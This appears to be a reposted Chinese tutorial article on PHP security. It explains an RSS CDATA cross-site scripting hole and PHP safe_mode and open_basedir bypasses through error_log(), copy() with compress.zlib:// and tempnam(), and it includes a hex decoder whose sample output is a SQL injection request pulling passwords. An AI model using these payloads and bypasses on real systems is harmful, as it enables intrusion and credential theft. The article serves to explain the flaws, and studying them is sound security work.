回首页 ◎ 设为首页  
◎ 收藏本站  
◎ 联系我们  
  首 页  网络资讯  教程资料  免费资源  建站指南  休闲娱乐  经典整站  访客留言  
  当前位置:首 页 >> 教程资料 >> 网站编程 >> PHP泛安全
最 新 推 荐
PHP入门速成推荐
ASP错误代码推荐
热 门 排 行
PHP站内搜索代码
远程调用163网易相册..
万能播放器源代码[php..
5分钟编写一个ASP论坛
记录蜘蛛爬行的代码 ASP
CMS内容管理系统概述
通过PHP程序知道蜘蛛..
ASP常用数据库连接及..
UTF8下的中文PHP编程
谈网页编程PHP语言的..
值得收藏的一些ASP代码
网站生成静态页面,及..
用IP地址来统计访问人..
用PHP和MySQL保存和输..
PHP生成静态页面详解
ASP中FSO的神奇功能
最 近 更 新
正则表达式
GB2312转换UTF-8的文件
用PHP自动把纯文本转..
asp中可以保存参数值..
PHP对战ASP:这还值得..
怎样才能成为PHP高手..
用ASP实现在线文章翻..
禁用页面缓存的几种方..
关于Zend Optimizer
什么是Session?
广 告 位 置
站 内 搜 索
关键词

搜索方式

搜索范围

精确匹配
PHP泛安全

来源:盛绿设计 等级:默认等级
发布于2007-01-07 17:19 被读30次 【字体:
/*---------------
*Author:xy7
*Data:2006/11/1
*---------------
*/
如今基于PHP的WEB程序是越来越安全了,php.ini默认时的 magic_quotes_gpc=on就在初始安全性上提高了一个档次.很多程序在接受到用户的输入时都会提前判断一下 get_magic_quotes_gpc() 即使这个开关没有开就马上addslashes()函数跟上进行转义,所以想在PHP程序中找到一个类似与以前ASP注入那样的漏洞是比较不容易的.
对于PHP的跨站其实也很好防范,用 htmlentities() 就可以了,不过当处理XML文件时采用这个函数可能会出现些问题,只需手工转换下那5个元字符就可以了。举个例子,以前写过篇文章关于XML文件隐患的,其实就是CDATA部件的问题,现在比较流行的说法是AJAX hacking,大概说下,看看以下代码:
if ( $rssid == 0 OR  $rssid == 7) {
} elseif (!empty( $stmt)) {
     $dbinfo =&  $db->getResultSet( $stmt, array('pageSize'=> $pagesize));
    if ( $dbinfo === false) {
         $msginfo = str_replace(']]>', ']]>',  $lang['tpl.str0']);
         $TPL_items .= <<<EOT
        <item>
            <title>{ $msginfo}</title>
            <link>{ $fsetting['forumurl']}</link>
            <author>{ $fsetting['forumname']}</author>
            <pubDate>{ $datenow}</pubDate>
            <description><![CDATA[{ $msginfo}]]></description>
        </item>
EOT;
 $msginfo是用户提交的,然后被程序写进RSS里以用来聚合,如果 $msginfo的值为<sciript>alert('loveshell')</script>时,RSS聚合解析后会原样输出,如果为]]><sciript>alert('loveshell')</script>时,就可以跨站了,看看他的过滤:
if ( $dbinfo === false) {
         $msginfo = str_replace(']]>', ']]>',  $lang['tpl.str0']);
很好意识到了这点,可是这句呢<title>{ $msginfo}</title>,意识到问题所在很关键,重要的是要理解问题.

可是还是有很多会被程序员疏忽的地方,这是安全意识的问题,对于用户的任何输入,在写程序时脑子里都要提前做个思考:用户的输入是什么类型的?用户会有哪些输入方式?怎么处理用户的错误和非常规输入?
PHP的安全还体现在Safe Mode 和openbase-dir上.即使这样基于PHP底层的一些漏洞还是会直接影响到这两个非常重要的安全选项.举个例子:
比如error_log() Safe Mode Bypass
看他的语法:bool error_log ( string message [, int message_type [, string destination [, string extra_headers]]] )
输出错误信息到一个文件,可以这样写
<?
error_log("<? phpinfo();?>", 3, "test.php");
?>
运行在safe_mode关闭的情况下,直接访问test.php就可以看到phpinfo了,当safe_mode开的时候就会报错,再这样写:
<?
error_log("<? phpinfo();?>", 3, "prefix://../../test.php");
?>可以看到phpinfo又被执行了
看下漏洞代码:
PHPAPI int _php_error_log(int opt_err, char *message, char *opt, char *headers TSRMLS_DC)

{

php_stream *stream = NULL;

switch (opt_err) {

case 1: /*send an email */

{

#if HAVE_SENDMAIL

if (!php_mail(opt, "PHP error_log message", message, headers, NULL TSRMLS_CC)) {

return FAILURE;

}

php_error_docref(NULL TSRMLS_CC, E_WARNING, "Mail option not available!");

return FAILURE;

}

break;

case 2: /*send to an address */

php_error_docref(NULL TSRMLS_CC, E_WARNING, "TCP/IP option not available!");

return FAILURE;

break;

case 3: /*save to a file */

stream = php_stream_open_wrapper(opt, "a", IGNORE_URL | ENFORCE_SAFE_MODE | REPORT_ERRORS, NULL);

if (!stream)

return FAILURE;

php_stream_write(stream, message, strlen(message));

php_stream_close(stream);

break;

default:

php_log_err(message TSRMLS_CC);

break;

}

return SUCCESS;

}
可以看到error_log函数的核心就是 php_stream_open_wrapper()函数,问题也就出在保存错误信息的文件这一步,看下这个函数的语法:
php_stream * php_stream_open_wrapper ( char * path, char * mode, int options, char ** opened )
php_stream_open_wrapper() opens a stream on the file, URL or other wrapped resource specified by path.
r
Open text file for reading. The stream is positioned at the beginning of the file.
r+
Open text file for reading and writing. The stream is positioned at the beginning of the file.
w
Truncate the file to zero length or create text file for writing. The stream is positioned at the beginning of the file.
w+
Open text file for reading and writing. The file is created if it does not exist, otherwise it is truncated. The stream is positioned at the beginning of the file.
a
Open for writing. The file is created if it does not exist. The stream is positioned at the end of the file.
a+
Open text file for reading and writing. The file is created if it does not exist. The stream is positioned at the end of the file.
error_log函数里定义了a选项,就是检查当保存错误信息文件不存在时创建一个,到这都没问题,关键是后面:
IGNORE_URL | ENFORCE_SAFE_MODE | REPORT_ERRORS
如果定义了一个IGNORE_URL那么将关闭后面的SAFE_MODE 开关,这样如果把错误信息写成代码,后面加上如prefix://../../的URL,则代码被写入到一个PHP文件时就已经绕过了SAFE_MODE 的限制,再访问保存错误信息的文件则代码被顺利无限制的执行了.
归根结底漏洞产生于php_stream_open_wrapper()函数,然后被嵌套调用了.
还有一个以前的的copy函数bypass漏洞
 $temp=tempnam( $tymczas, "cx");
if(copy("compress.zlib://". $file,  $temp)){
 $handle = fopen( $temp, "r");
 $tekst = fread( $handle, filesize( $temp));
fclose( $handle);
通过这样一段利用代码再指定一个 $file就可以绕过安全模式读取任何文件了
漏洞的存在都是互相映射的,应用层的漏洞在底层也会出现,就象上面这些逻辑类的,那应用层最容易疏忽的过滤不严的漏洞在底层会出现吗?当然!看看tempnam()函数中的一段核心代码:
if (ZEND_NUM_ARGS() != 2 || zend_get_parameters_ex(2, &arg1, &arg2) ==
FAILURE) {
  WRONG_PARAM_COUNT;
}
convert_to_string_ex(arg1);
convert_to_string_ex(arg2);
if (php_check_open_basedir(Z_STRVAL_PP(arg1) TSRMLS_CC)) {
  RETURN_FALSE;
}

d = estrndup(Z_STRVAL_PP(arg1), Z_STRLEN_PP(arg1));
strlcpy(p, Z_STRVAL_PP(arg2), sizeof(p));

开始的函数原型给出了,第1个参数是指定生成临时文件的目录,第2个参数是生成临时文件的前缀.开始是对两个参数类型的检查及定义,然后对参数做限制,问题就出在红色代码处这个函数:php_check_open_basedir()是用来检查参数完整性并检查接受到的目录参数是否在open-basedir内,也就是按说我们对tempnam()传递参数后是不能在这个参数之外的目录生成临时文件了,可是居然函数只限制了arg1,没有过滤arg2,这样一来前面的限制就不会起作用了,然后后面就把arg2的参数附加给arg1了.接着就导致可以绕过openbase_dir的限制写文件了.

应了那句老话,任何地方都没有绝对的安全.在应用层安全系数越来越高的时候,关注底层,利用底层的一些缺陷可以更有利于做WEB应用层的漏洞挖掘.

另外PHP的安全也体现在做一些安全方面的工作,这点得益与PHP强大的功能,比如用做协议解析
<?
function hex2dec( $hex)
{
 $v=Ord( $hex);
if(47< $v&& $v<58)
return  $v-48;
if(64< $v&& $v<71)
return  $v-65+10;
if(96< $v&& $v<103)
return  $v-97+10;
}
function hex2str( $str)
{
if(! $str)
return false;
 $code="";
for( $i=0; $i<strlen( $str); $i+=2)
{
 $code.=chr(hex2dec(substr( $str, $i,1))*16+hex2dec(substr( $str, $i+1,1)));
}
return  $code;
}
if (empty( $_POST['str'])) {
echo"/*n";
echo "Please input Hex string!";
echo"n";
echo"*/n";
}else{
 $str= $_POST['str'];
 $result=hex2str( $str);
echo "Decoder:";
echo"n";
echo htmlspecialchars(stripslashes( $result));
 $newresult=str_replace(" ","0x20", $result);
 $a=explode('0x20',  $newresult, 3);
echo "***************************************************";
echo"n";
echo "Method:";
echo htmlspecialchars(stripslashes( $a[0]));
echo"nn";
echo "URL:";
echo htmlspecialchars(stripslashes( $a[1]));
echo"nn";
echo htmlspecialchars(stripslashes( $a[2]));
echo "***************************************************";
}
?>
提交sniffer到的16进制数据like this:
504F5354202F6566696374696F6E2F76696577757365722E7068703F7569643D27554E494F4E25323053454C454354253230302C302C302C302C302C302C302C302C302C302C70617373776F72642C302C302C302C3025323046524F4D25323066616E66696374696F6E5F617574686F72732532302F2A7320485454502F312E300D0A0D0A
转换后likethis:
***************************************************
Method:POST

URL:/efiction/viewuser.php?uid='UNION%20SELECT%200,0,0,0,0,0,0,0,0,0,password,0,0,0,0%20FROM%20fanfiction_authors%20/*s

HTTP/1.0

代码很简单,可功能很实用,如果需要可以写端口扫描,fuzzer,甚至google hacking工具等,只要你能想到:)


相关专题:暂无相关专题

上一篇:使用PHP来进行加密与解密: 实例应用
下一篇:用PHP制作动态计数器

共有评论 0 条 网友评分 0分 查看全部

【发表评论】 评分:1分 2分 3分 4分 5分


Powered By Www.Xydw.COM Ver1.14 管理
Copyright © 2004-2005 盛绿设计 All Right Reserved. XCMS
冀ICP备06026128号